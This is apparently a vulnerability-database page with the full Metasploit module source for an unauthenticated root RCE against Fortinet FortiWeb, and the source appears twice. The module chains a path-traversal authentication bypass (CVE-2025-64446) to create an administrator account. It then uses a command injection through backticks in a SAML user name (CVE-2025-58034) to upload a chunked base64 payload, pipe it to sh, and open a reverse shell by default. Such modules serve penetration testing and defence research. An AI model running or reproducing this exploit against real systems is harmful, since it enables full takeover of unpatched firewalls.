9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This exploit module exploits an authentication bypass via path traversal vulnerability in the Fortinet FortiWeb management interface to create a new local administrator user account. From there a command injection vulnerability is leveraged to achieve...
Basic Information
ID
MSF:EXPLOIT-LINUX-HTTP-FORTINET_FORTIWEB_RCE-
Published
Nov 26, 2025 at 18:53
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Rex::Proto::Http::WebSocket
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortinet FortiWeb unauthenticated RCE',
'Description' => %q{
This exploit module exploits an authentication bypass via path traversal vulnerability in the Fortinet
FortiWeb management interface to create a new local administrator user account. From there a command
injection vulnerability is leveraged to achieve RCE with root privileges.
The auth bypass CVE-2025-64446 affects the following versions:
* FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
* FortiWeb 7.6.0 through 7.6.4 (Patched in 7.6.5 and above)
* FortiWeb 7.4.0 through 7.4.9 (Patched in 7.4.10 and above)
* FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
* FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)
The command injection CVE-2025-58034 affects the following versions (Note the 7.6 and 7.4 branches are very
slightly different when compared to the patch versions for CVE-2025-64446:
* FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
* FortiWeb 7.6.0 through 7.6.5 (Patched in 7.6.6 and above) <-- slight difference
* FortiWeb 7.4.0 through 7.4.10 (Patched in 7.4.11 and above) <-- slight difference
* FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
* FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)
},
'License' => MSF_LICENSE,
'Author' => [
'Defused', # PoC from honeypot for CVE-2025-64446
'sfewer-r7', # MSF module and CVE-2025-58034 analysis
],
'References' => [
['CVE', '2025-64446'], # Auth bypass
['CVE', '2025-58034'], # Command Injection
['URL', 'https://attackerkb.com/topics/zClpINmLCh/cve-2025-58034/rapid7-analysis'], # Analysis of CVE-2025-58034
['URL', 'https://x.com/defusedcyber/status/1975242250373517373'], # Original PoC for CVE-2025-64446 posted online
['URL', 'https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass'], # PoC for CVE-2025-64446
['URL', 'https://www.pwndefend.com/2025/11/13/suspected-fortinet-zero-day-exploited-in-the-wild/'],
['URL', 'https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/'],
['URL', 'https://www.fortiguard.com/psirt/FG-IR-25-910'], # Vendor advisory for CVE-2025-64446
['URL', 'https://www.fortiguard.com/psirt/FG-IR-25-513'] # Vendor advisory for CVE-2025-58034
],
# CVE-2025-64446 was disclosed on Nov 14, 2025, CVE-2025-58034 was disclosed on Nov 18, 2025.
# Both vulnerabilities were silently patched by the vendor prior to this date.
'DisclosureDate' => '2025-11-14',
'Privileged' => true, # Executes as root.
'Platform' => 'unix', # Only some of the unix payloads have been verified to work, the Linux fetch payloads dont execute.
'Arch' => [ARCH_CMD],
'Targets' => [
[
# NOTE: Tested with the following payloads against a vulnerable FortiWeb 8.0.1 and 7.4.8:
# cmd/unix/reverse_bash
# cmd/unix/reverse_openssl
'Default', {
'Payload' => {
'BadChars' => '"'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'RPORT' => 443,
'SSL' => true,
# The maximum time in seconds to wait for a session.
'WfsDelay' => 30
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS],
'RelatedModules' => ['auxiliary/admin/http/fortinet_fortiweb_create_admin']
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
register_advanced_options(
[
OptString.new('FortiWebAdminUsername', [false, 'A valid admin username to use. A new admin account will be created if not specified.', nil]),
OptString.new('FortiWebAdminPassword', [false, 'A valid admin password to use. A new admin account will be created if not specified.', nil]),
OptString.new('FortiWebAccessProfile', [ true, 'The access profile to use for the new admin account', 'prof_admin' ]),
OptString.new('FortiWebDomain', [ true, 'The domain to use for the new admin account', 'root' ]),
OptString.new('FortiWebDefaultAdminAccount', [ true, 'The default FortiWeb admin account name', 'admin' ]),
OptString.new('FortiWebWritableDir', [true, 'The full path of a writable directory on the target.', '/tmp'])
]
)
end
def check
res = post_auth_bypass_request({ data: {} })
return CheckCode::Unknown('Connection failed') unless res
return Exploit::CheckCode::Safe('Received a 403 Forbidden response') if res.code == 403
j = JSON.parse(res.body)
return Exploit::CheckCode::Appears if j.dig('results', 'message') == 'Empty value isn\'t allowed.'
CheckCode::Unknown('Unexpected JSON results')
rescue JSON::ParserError
return CheckCode::Unknown('Failed to parse JSON body')
end
def exploit
if datastore['FortiWebAdminUsername'].nil? || datastore['FortiWebAdminPassword'].nil?
print_status('Creating a new admin account via CVE-2025-64446...')
admin_username = Faker::Internet.username
admin_password = Rex::Text.rand_text_alpha(8)
create_admin_account(admin_username, admin_password)
print_good("New admin account successfully created: #{admin_username}:#{admin_password}")
else
admin_username = datastore['FortiWebAdminUsername']
admin_password = datastore['FortiWebAdminPassword']
print_good("Using existing admin credentials: #{admin_username}:#{admin_password}")
end
print_status('Logging in...')
cookie_jar.clear
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'logincheck'),
'keep_cookies' => true,
'vars_post' => {
'username' => admin_username,
'secretkey' => admin_password
}
)
fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
unless cookie_jar.cookies.find { |c| c.name.start_with? 'APSCOOKIE_FWEB' }
fail_with(Msf::Exploit::Failure::UnexpectedReply, 'No APSCOOKIE_FWEB returned')
end
print_good("Successfully logged in as #{admin_username}")
begin
print_status('Executing payload via CVE-2025-58034...')
execute_payload
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
fail_with(Msf::Exploit::Failure::UnexpectedReply, "CLI websocket connection error: #{e}")
end
print_good('Finished.')
end
def execute_payload
tmp_file_name = Rex::Text.rand_text_alphanumeric(4)
bootstrap_payload = "rm -f #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*;"
# We need to detach our payload from the current session, as when the TCP connections from out HTTP(S) requests close,
# the device will tear down any child processes from the CLI, intern killing our payload prematurely. We would normally
# use the nohup command for this, however this is unavailable on certain versions (available on 8.0.1, unavailable
# on 7.4.8). To work around this, the bootstrap payload below will leverage Python, and use the Popen argument
# start_new_session to do essentially what nohup does - call setsid() to create a new session. This has been
# confirmed to work as expected on 8.0.1 and 7.4.8.
bootstrap_payload += "python -c \"import subprocess;subprocess.Popen(f\\\"#{payload.encoded}\\\",shell=True,start_new_session=True,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)\""
vprint_status("Using bootstrap payload: #{bootstrap_payload}")
bootstrap_payload = Base64.strict_encode64(bootstrap_payload)
idx = 1
idx_prefix = ''
# Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and
# 23 for the echo command that writes the chunk to a file (assuming a path of /tmp and a single digit idx
# value). So by default, the chunk size will be 38. However, this may change as we write the chunks.
# To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9,
# we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get
# sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ...
# A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so
# we must recompute the chunk size, to ensure we don't go over the 63-character limit.
chunk_size = 63 - 2 - "echo -n |tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}".length
# We write to a file via tee, as the > character is a bad char (so we cant do "echo foo > file" and
# instead do "echo foo|tee file").
# We also base64 encode the data we write, as single and double quotes are also bad chars, so we cant write
# them, and therefore white spaces are also an issue.
# We display the progress to the user, so track that with a current and max chunk number.
curr_chunk_number = 1
max_chunk_number = (bootstrap_payload.length / chunk_size) + 1
while bootstrap_payload && !bootstrap_payload.empty?
print_status("Uploading bootstrap payload chunk #{curr_chunk_number} of #{max_chunk_number}...")
chunk = bootstrap_payload[0, chunk_size]
bootstrap_payload = bootstrap_payload[chunk_size..]
execute_cmd("echo -n #{chunk}|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}")
idx += 1
if idx > 9
idx = 1
idx_prefix += '9'
# Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the
# next chunk must have 1 less character.
chunk_size -= 1
# If the payload was too big, and we run out of space in the command to write any chunk data, fail.
# This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the
# available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less
# character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which
# would be a max MSF payload size of 5670 characters. Calculated with the command:
# ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz"
fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero?
end
curr_chunk_number += 1
end
print_status('Amalgamating bootstrap payload chunks...')
execute_cmd("cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}")
print_status('Executing bootstrap payload...')
execute_cmd("cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}|base64 -d|sh")
end
def execute_cmd(cmd)
vprint_status("Executing OS command: #{cmd}")
# These bad chars are not allowed in a SAML config name, which is the command injection we leverage.
# We also look for backticks, which are allowed, but we use two of them below to get command execution so we
# don't want the incoming cmd to contain any as that would break our injection.
'`#()>\'"'.each_char do |bad_char|
fail_with(Failure::BadConfig, "Bad cmd char #{bad_char} in execute_cmd") if cmd.include? bad_char
end
# The max name length is 63 characters, less 2 for the double backtick, so 61 are available for the OS command.
fail_with(Failure::BadConfig, 'Command too long for execute_cmd') if cmd.length > (63 - 2)
vprint_status('Connecting to the CLI websocket...')
wsock_headers = {
'Cookie' => ''
}
cookie_jar.cookies.each do |c|
wsock_headers['Cookie'] += "#{c}; "
end
wsock = connect_ws(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ws', 'cli', 'open'),
'headers' => wsock_headers
)
vprint_good('Successfully connected to the CLI websocket')
cli_commands = [
'config user saml-user',
"edit \"`#{cmd}`\"",
"set entityID http://#{Rex::Text.rand_text_alpha(4..8)}",
"set service-path /#{Rex::Text.rand_text_alpha(4..8)}",
'set enforce-signing disable',
'set slo-bind post',
"set slo-path /#{Rex::Text.rand_text_alpha(4..8)}",
'set sso-bind post',
"set sso-path /#{Rex::Text.rand_text_alpha(4..8)}",
'end'
]
wsock.wsloop do |buffer, _|
vprint_line(buffer)
if buffer.end_with? ' # '
cli_command = cli_commands.shift
break if cli_command.nil?
vprint_status("Running CLI command: #{cli_command}")
wsock.put_wsbinary("#{cli_command}\n")
break if cli_commands.empty?
end
end
end
# The FortiWeb reverse proxy/WebSocket server appears to be non-compliant. The "Upgrade" header is supposed to
# be case-insensitive, and by default Metasploit will use "WebSocket", however the FortiWeb device will only
# accept lower case, so we force "websocket" to be used instead.
def connect(opts = {})
if opts.dig('headers', 'Upgrade') == 'WebSocket'
opts['headers']['Upgrade'].downcase!
end
super
end
# Create a new local admin account via CVE-2025-64446.
def create_admin_account(admin_username, admin_password)
request_data = {
data: {
'q_type' => 1,
'name' => admin_username,
'access-profile' => datastore['FortiWebAccessProfile'],
'access-profile_val' => '0',
'trusthostv4' => '0.0.0.0/0',
'trusthostv6' => '::/0',
'last-name' => '',
'first-name' => '',
'email-address' => '',
'phone-number' => '',
'mobile-number' => '',
'hidden' => 0,
'domains' => datastore['FortiWebDomain'],
'sz_dashboard' => -1,
'type' => 'local-user',
'type_val' => '0',
'admin-usergrp_val' => '0',
'wildcard_val' => '0',
'accprofile-override_val' => '0',
'sshkey' => '',
'passwd-set-time' => 0,
'history-password-pos' => 0,
'history-password0' => '',
'history-password1' => '',
'history-password2' => '',
'history-password3' => '',
'history-password4' => '',
'history-password5' => '',
'history-password6' => '',
'history-password7' => '',
'history-password8' => '',
'history-password9' => '',
'force-password-change' => 'disable',
'force-password-change_val' => '0',
'password' => admin_password
}
}
res = post_auth_bypass_request(request_data)
fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res
fail_with(Msf::Exploit::Failure::NotVulnerable, 'Target does not appear vulnerable (403 Forbidden response)') if res.code == 403
unless res.code == 200
if res.headers['Content-Type'] == 'application/json'
begin
response_data = JSON.parse(res.body)
print_bad(response_data.to_s)
rescue JSON::ParserError
print_bad('failed to parse response JSON data')
end
end
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Target returned an unexpected response (#{res.code})")
end
end
def post_auth_bypass_request(request_data)
cgi_info = {
'username' => datastore['FortiWebDefaultAdminAccount'],
'profname' => datastore['FortiWebAccessProfile'],
'vdom' => datastore['FortiWebDomain'],
'loginname' => datastore['FortiWebDefaultAdminAccount']
}
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi'),
'headers' => {
'CGIINFO' => Base64.strict_encode64(cgi_info.to_json)
},
'ctype' => 'application/json',
'data' => request_data.to_json
)
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Rex::Proto::Http::WebSocket
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortinet FortiWeb unauthenticated RCE',
'Description' => %q{
This exploit module exploits an authentication bypass via path traversal vulnerability in the Fortinet
FortiWeb management interface to create a new local administrator user account. From there a command
injection vulnerability is leveraged to achieve RCE with root privileges.
The auth bypass CVE-2025-64446 affects the following versions:
* FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
* FortiWeb 7.6.0 through 7.6.4 (Patched in 7.6.5 and above)
* FortiWeb 7.4.0 through 7.4.9 (Patched in 7.4.10 and above)
* FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
* FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)
The command injection CVE-2025-58034 affects the following versions (Note the 7.6 and 7.4 branches are very
slightly different when compared to the patch versions for CVE-2025-64446:
* FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
* FortiWeb 7.6.0 through 7.6.5 (Patched in 7.6.6 and above) <-- slight difference
* FortiWeb 7.4.0 through 7.4.10 (Patched in 7.4.11 and above) <-- slight difference
* FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
* FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)
},
'License' => MSF_LICENSE,
'Author' => [
'Defused', # PoC from honeypot for CVE-2025-64446
'sfewer-r7', # MSF module and CVE-2025-58034 analysis
],
'References' => [
['CVE', '2025-64446'], # Auth bypass
['CVE', '2025-58034'], # Command Injection
['URL', 'https://attackerkb.com/topics/zClpINmLCh/cve-2025-58034/rapid7-analysis'], # Analysis of CVE-2025-58034
['URL', 'https://x.com/defusedcyber/status/1975242250373517373'], # Original PoC for CVE-2025-64446 posted online
['URL', 'https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass'], # PoC for CVE-2025-64446
['URL', 'https://www.pwndefend.com/2025/11/13/suspected-fortinet-zero-day-exploited-in-the-wild/'],
['URL', 'https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/'],
['URL', 'https://www.fortiguard.com/psirt/FG-IR-25-910'], # Vendor advisory for CVE-2025-64446
['URL', 'https://www.fortiguard.com/psirt/FG-IR-25-513'] # Vendor advisory for CVE-2025-58034
],
# CVE-2025-64446 was disclosed on Nov 14, 2025, CVE-2025-58034 was disclosed on Nov 18, 2025.
# Both vulnerabilities were silently patched by the vendor prior to this date.
'DisclosureDate' => '2025-11-14',
'Privileged' => true, # Executes as root.
'Platform' => 'unix', # Only some of the unix payloads have been verified to work, the Linux fetch payloads dont execute.
'Arch' => [ARCH_CMD],
'Targets' => [
[
# NOTE: Tested with the following payloads against a vulnerable FortiWeb 8.0.1 and 7.4.8:
# cmd/unix/reverse_bash
# cmd/unix/reverse_openssl
'Default', {
'Payload' => {
'BadChars' => '"'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'RPORT' => 443,
'SSL' => true,
# The maximum time in seconds to wait for a session.
'WfsDelay' => 30
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS],
'RelatedModules' => ['auxiliary/admin/http/fortinet_fortiweb_create_admin']
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
register_advanced_options(
[
OptString.new('FortiWebAdminUsername', [false, 'A valid admin username to use. A new admin account will be created if not specified.', nil]),
OptString.new('FortiWebAdminPassword', [false, 'A valid admin password to use. A new admin account will be created if not specified.', nil]),
OptString.new('FortiWebAccessProfile', [ true, 'The access profile to use for the new admin account', 'prof_admin' ]),
OptString.new('FortiWebDomain', [ true, 'The domain to use for the new admin account', 'root' ]),
OptString.new('FortiWebDefaultAdminAccount', [ true, 'The default FortiWeb admin account name', 'admin' ]),
OptString.new('FortiWebWritableDir', [true, 'The full path of a writable directory on the target.', '/tmp'])
]
)
end
def check
res = post_auth_bypass_request({ data: {} })
return CheckCode::Unknown('Connection failed') unless res
return Exploit::CheckCode::Safe('Received a 403 Forbidden response') if res.code == 403
j = JSON.parse(res.body)
return Exploit::CheckCode::Appears if j.dig('results', 'message') == 'Empty value isn\'t allowed.'
CheckCode::Unknown('Unexpected JSON results')
rescue JSON::ParserError
return CheckCode::Unknown('Failed to parse JSON body')
end
def exploit
if datastore['FortiWebAdminUsername'].nil? || datastore['FortiWebAdminPassword'].nil?
print_status('Creating a new admin account via CVE-2025-64446...')
admin_username = Faker::Internet.username
admin_password = Rex::Text.rand_text_alpha(8)
create_admin_account(admin_username, admin_password)
print_good("New admin account successfully created: #{admin_username}:#{admin_password}")
else
admin_username = datastore['FortiWebAdminUsername']
admin_password = datastore['FortiWebAdminPassword']
print_good("Using existing admin credentials: #{admin_username}:#{admin_password}")
end
print_status('Logging in...')
cookie_jar.clear
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'logincheck'),
'keep_cookies' => true,
'vars_post' => {
'username' => admin_username,
'secretkey' => admin_password
}
)
fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
unless cookie_jar.cookies.find { |c| c.name.start_with? 'APSCOOKIE_FWEB' }
fail_with(Msf::Exploit::Failure::UnexpectedReply, 'No APSCOOKIE_FWEB returned')
end
print_good("Successfully logged in as #{admin_username}")
begin
print_status('Executing payload via CVE-2025-58034...')
execute_payload
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
fail_with(Msf::Exploit::Failure::UnexpectedReply, "CLI websocket connection error: #{e}")
end
print_good('Finished.')
end
def execute_payload
tmp_file_name = Rex::Text.rand_text_alphanumeric(4)
bootstrap_payload = "rm -f #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*;"
# We need to detach our payload from the current session, as when the TCP connections from out HTTP(S) requests close,
# the device will tear down any child processes from the CLI, intern killing our payload prematurely. We would normally
# use the nohup command for this, however this is unavailable on certain versions (available on 8.0.1, unavailable
# on 7.4.8). To work around this, the bootstrap payload below will leverage Python, and use the Popen argument
# start_new_session to do essentially what nohup does - call setsid() to create a new session. This has been
# confirmed to work as expected on 8.0.1 and 7.4.8.
bootstrap_payload += "python -c \"import subprocess;subprocess.Popen(f\\\"#{payload.encoded}\\\",shell=True,start_new_session=True,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)\""
vprint_status("Using bootstrap payload: #{bootstrap_payload}")
bootstrap_payload = Base64.strict_encode64(bootstrap_payload)
idx = 1
idx_prefix = ''
# Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and
# 23 for the echo command that writes the chunk to a file (assuming a path of /tmp and a single digit idx
# value). So by default, the chunk size will be 38. However, this may change as we write the chunks.
# To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9,
# we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get
# sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ...
# A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so
# we must recompute the chunk size, to ensure we don't go over the 63-character limit.
chunk_size = 63 - 2 - "echo -n |tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}".length
# We write to a file via tee, as the > character is a bad char (so we cant do "echo foo > file" and
# instead do "echo foo|tee file").
# We also base64 encode the data we write, as single and double quotes are also bad chars, so we cant write
# them, and therefore white spaces are also an issue.
# We display the progress to the user, so track that with a current and max chunk number.
curr_chunk_number = 1
max_chunk_number = (bootstrap_payload.length / chunk_size) + 1
while bootstrap_payload && !bootstrap_payload.empty?
print_status("Uploading bootstrap payload chunk #{curr_chunk_number} of #{max_chunk_number}...")
chunk = bootstrap_payload[0, chunk_size]
bootstrap_payload = bootstrap_payload[chunk_size..]
execute_cmd("echo -n #{chunk}|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}")
idx += 1
if idx > 9
idx = 1
idx_prefix += '9'
# Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the
# next chunk must have 1 less character.
chunk_size -= 1
# If the payload was too big, and we run out of space in the command to write any chunk data, fail.
# This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the
# available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less
# character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which
# would be a max MSF payload size of 5670 characters. Calculated with the command:
# ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz"
fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero?
end
curr_chunk_number += 1
end
print_status('Amalgamating bootstrap payload chunks...')
execute_cmd("cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}")
print_status('Executing bootstrap payload...')
execute_cmd("cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}|base64 -d|sh")
end
def execute_cmd(cmd)
vprint_status("Executing OS command: #{cmd}")
# These bad chars are not allowed in a SAML config name, which is the command injection we leverage.
# We also look for backticks, which are allowed, but we use two of them below to get command execution so we
# don't want the incoming cmd to contain any as that would break our injection.
'`#()>\'"'.each_char do |bad_char|
fail_with(Failure::BadConfig, "Bad cmd char #{bad_char} in execute_cmd") if cmd.include? bad_char
end
# The max name length is 63 characters, less 2 for the double backtick, so 61 are available for the OS command.
fail_with(Failure::BadConfig, 'Command too long for execute_cmd') if cmd.length > (63 - 2)
vprint_status('Connecting to the CLI websocket...')
wsock_headers = {
'Cookie' => ''
}
cookie_jar.cookies.each do |c|
wsock_headers['Cookie'] += "#{c}; "
end
wsock = connect_ws(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ws', 'cli', 'open'),
'headers' => wsock_headers
)
vprint_good('Successfully connected to the CLI websocket')
cli_commands = [
'config user saml-user',
"edit \"`#{cmd}`\"",
"set entityID http://#{Rex::Text.rand_text_alpha(4..8)}",
"set service-path /#{Rex::Text.rand_text_alpha(4..8)}",
'set enforce-signing disable',
'set slo-bind post',
"set slo-path /#{Rex::Text.rand_text_alpha(4..8)}",
'set sso-bind post',
"set sso-path /#{Rex::Text.rand_text_alpha(4..8)}",
'end'
]
wsock.wsloop do |buffer, _|
vprint_line(buffer)
if buffer.end_with? ' # '
cli_command = cli_commands.shift
break if cli_command.nil?
vprint_status("Running CLI command: #{cli_command}")
wsock.put_wsbinary("#{cli_command}\n")
break if cli_commands.empty?
end
end
end
# The FortiWeb reverse proxy/WebSocket server appears to be non-compliant. The "Upgrade" header is supposed to
# be case-insensitive, and by default Metasploit will use "WebSocket", however the FortiWeb device will only
# accept lower case, so we force "websocket" to be used instead.
def connect(opts = {})
if opts.dig('headers', 'Upgrade') == 'WebSocket'
opts['headers']['Upgrade'].downcase!
end
super
end
# Create a new local admin account via CVE-2025-64446.
def create_admin_account(admin_username, admin_password)
request_data = {
data: {
'q_type' => 1,
'name' => admin_username,
'access-profile' => datastore['FortiWebAccessProfile'],
'access-profile_val' => '0',
'trusthostv4' => '0.0.0.0/0',
'trusthostv6' => '::/0',
'last-name' => '',
'first-name' => '',
'email-address' => '',
'phone-number' => '',
'mobile-number' => '',
'hidden' => 0,
'domains' => datastore['FortiWebDomain'],
'sz_dashboard' => -1,
'type' => 'local-user',
'type_val' => '0',
'admin-usergrp_val' => '0',
'wildcard_val' => '0',
'accprofile-override_val' => '0',
'sshkey' => '',
'passwd-set-time' => 0,
'history-password-pos' => 0,
'history-password0' => '',
'history-password1' => '',
'history-password2' => '',
'history-password3' => '',
'history-password4' => '',
'history-password5' => '',
'history-password6' => '',
'history-password7' => '',
'history-password8' => '',
'history-password9' => '',
'force-password-change' => 'disable',
'force-password-change_val' => '0',
'password' => admin_password
}
}
res = post_auth_bypass_request(request_data)
fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res
fail_with(Msf::Exploit::Failure::NotVulnerable, 'Target does not appear vulnerable (403 Forbidden response)') if res.code == 403
unless res.code == 200
if res.headers['Content-Type'] == 'application/json'
begin
response_data = JSON.parse(res.body)
print_bad(response_data.to_s)
rescue JSON::ParserError
print_bad('failed to parse response JSON data')
end
end
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Target returned an unexpected response (#{res.code})")
end
end
def post_auth_bypass_request(request_data)
cgi_info = {
'username' => datastore['FortiWebDefaultAdminAccount'],
'profname' => datastore['FortiWebAccessProfile'],
'vdom' => datastore['FortiWebDomain'],
'loginname' => datastore['FortiWebDefaultAdminAccount']
}
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi'),
'headers' => {
'CGIINFO' => Base64.strict_encode64(cgi_info.to_json)
},
'ctype' => 'application/json',
'data' => request_data.to_json
)
end
end